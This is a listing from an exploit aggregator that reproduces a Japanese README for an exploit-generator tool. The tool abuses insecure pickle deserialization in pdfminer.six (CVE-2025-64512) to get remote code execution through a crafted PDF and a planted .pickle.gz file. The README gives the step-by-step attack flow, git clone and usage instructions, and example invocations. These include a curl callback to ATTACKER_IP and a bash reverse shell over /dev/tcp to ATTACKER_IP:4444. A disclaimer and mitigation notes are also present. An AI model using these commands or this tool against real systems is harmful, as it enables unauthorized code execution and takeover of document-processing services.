Sploitus

Exploit for CVE-2025-64512

kitploit · 2026-09-09

Exploit Code

MARKDOWN181 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BARDLAUDIAN-CVE-2025-64512
# CVE-2025-64512 — pdfminer.six の安全でない逆シリアル化(Pickle)を利用した細工済みPDF

![Python](https://img.shields.io/badge/python-3.8+-blue) ![CVE](https://img.shields.io/badge/CVE-2025--64512-red) ![Platform](https://img.shields.io/badge/platform-HTB-green)

> **⚠️ 免責事項:** このツールは教育目的および許可を得たペネトレーションテスト専用です。所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。無断使用は違法です。

* * *

## 目次

  * 概要
  * 脆弱性の詳細
  * 動作原理
  * 要件
  * インストール
  * 使用方法
  * 例
  * 緩和策
  * クレジット
  * 参考文献



* * *

## 概要

**pdfminer.six** は、PDFファイルからテキストとメタデータを抽出するために広く使われているPythonライブラリで、ドキュメント処理パイプライン、CLIツール、AI/データ取り込みワークフローに組み込まれることがよくあります。影響を受けるバージョンは、CJKフォントサポート用のCMap(文字マップ)キャッシュファイルを、解決されたパスが期待されるキャッシュディレクトリ内に留まることを検証せずに、Pythonの `pickle` モジュールを使用して読み込みます。

特別に細工されたPDFは、このCMap検索のための攻撃者制御のパスを参照できます。攻撃者が解決されたパスに悪意のある `.pickle.gz` ファイルを配置できる場合(例: 同じ場所にファイルをアップロードできる機能を利用して)、PDFを処理すると、攻撃者制御のデータに対して `pickle.loads()` が実行され、**任意のコード実行** につながります。この正確なメカニズム(PoC PDF構造を含む)は、公式アドバイザリでmtolleyによって文書化されました。

このリポジトリには、CVE-2025-64512のGitHub Security Advisoryで公開された公式の概念実証(PoC)を包む小さなCLIラッパーが含まれています。**新たな悪用手法を導入するものではありません** — 悪意のあるPDFテンプレートはアドバイザリ自体からほぼそのまま取られており、このスクリプトは対象パス、実行するコマンド、出力ファイル名をパラメータ化して、PoCを再利用しやすくしているだけです。

* * *

## 脆弱性の詳細

* * *

## 動作原理

pdfminer.six の `CMapDB._load_data()` は、PDFフォントの `/Encoding` エントリから取得したCMap名をファイルパスに解決し、それが `.pickle.gz` で終わる場合は `pickle.loads()` で読み込みます。この関数は、解決されたパスがpdfminer自身の `cmap/` ディレクトリ内に留まることを検証しません。

### 攻撃要件

  1. フォントの `/Encoding` が攻撃者が選択したパス(URLエンコードされ、`/` が `#2F` になる)を参照する **トリガーPDF**
  2. PDFが処理される時点で、対象ファイルシステムの `<そのパス>.pickle.gz` に存在する **悪意のある`.pickle.gz`** ファイル



通常、両方のファイルは、最終的にpdfminer.sixによって処理される同じアップロード経路(例: ドキュメント取り込みパイプライン)を通じて配信できます。その際、ディスク上に生成されるパスが予測可能または発見可能であることが条件です。

### エクスプロイトの流れ

root@kitploit:~
    
    
    1. Generate a malicious pickle payload (executes a command on unpickling)
    2. Compress it as <name>.pickle.gz
    3. Generate a "trigger" PDF whose font /Encoding points to the full
       target-filesystem path of that .pickle.gz (without the extension)
    4. Deliver both files to the target so they land at the expected paths
    5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
       to process the trigger PDF
    6. pickle.loads() executes the payload -> RCE
    

* * *

## 要件

  * Python 3.8+(標準ライブラリのみ — `gzip`、`pickle`、`argparse`)



ペイロードを**生成** するためにサードパーティの依存関係は不要です。**ターゲット** 側には、アップロードされたPDFを実際に処理する脆弱性のあるpdfminer.six(またはそれに依存するプロジェクト)が必要です。

* * *

## インストール

root@kitploit:~
    
    
    git clone https://github.com/BardLaudian/CVE-2025-64512.git
    cd CVE-2025-64512
    

* * *

## 使用方法

root@kitploit:~
    
    
    usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
    
    options:
      --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
      --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
      --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                             pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
      --command COMMAND, -c COMMAND
                            Command to execute on the target (default: id)
    

* * *

## 例

### 基本的な使い方

root@kitploit:~
    
    
    python3 gen_payload.py \
      --path "/var/www/app/uploads/payload" \
      --command "id > /tmp/pwned" \
      --pdf-out trigger.pdf \
      --gz-out payload.pickle.gz
    

これにより次のファイルが生成されます:

  * `payload.pickle.gz` — これを最初にアップロードします(`.../uploads/payload.pickle.gz` に配置)
  * `trigger.pdf` — これを次にアップロードします。対象がpdfminer.sixで処理すると、コマンドが実行されます



### ネットワークコールバック(ファイルシステムアクセスなしでRCEを確認するのに便利)

root@kitploit:~
    
    
    python3 gen_payload.py \
      --path "/var/www/app/uploads/payload" \
      --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
      --pdf-out trigger.pdf --gz-out payload.pickle.gz
    

### リバースシェル

root@kitploit:~
    
    
    python3 gen_payload.py \
      --path "/var/www/app/uploads/payload" \
      --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
      --pdf-out trigger.pdf --gz-out payload.pickle.gz
    

* * *

## 緩和策

  * pdfminer.six を20251107以降に**更新** する(または、それをバンドルしているプロジェクトのパッチ適用済みリリース、例: markitdown ≥ 0.1.4、pdfplumber ≥ 0.11.8 を使用する)。
  * pdfminer.six やそれを利用したツールで処理されることになるユーザーアップロードコンテンツを**制限/検証** する。
  * PDF処理パイプラインを**サンドボックス化** する(コンテナ、seccomp、外部ネットワークなし)。これにより、アンピックルによるRCEの爆発範囲を最小限に抑えられる。
  * ドキュメント処理サービスによって生成される予期しない子プロセスを**監視** する。



* * *

## クレジット

  * **脆弱性の発見・報告者:** mtolley
  * **アドバイザリ公開者:** pdfminer.six メンテナー (pietermarsman)
  * **オリジナルPoC(悪意のあるPDFテンプレート):** 公式 GitHub Security Advisory より
  * **CLIラッパー/パラメータ化:** Bardlaudian — 公式PoCの薄い便利ラッパーであり、新規手法は含まない



* * *

## 参考文献

  * 公式 GitHub Security Advisory — GHSA-wf5f-4jwr-ppcp(ここで使用しているPoCの出典)
  * pdfminer.six リポジトリ
  * luigigubello のポリグロット版(単一ファイルのPDF+pickle.gzトリック。このリポジトリでは未使用)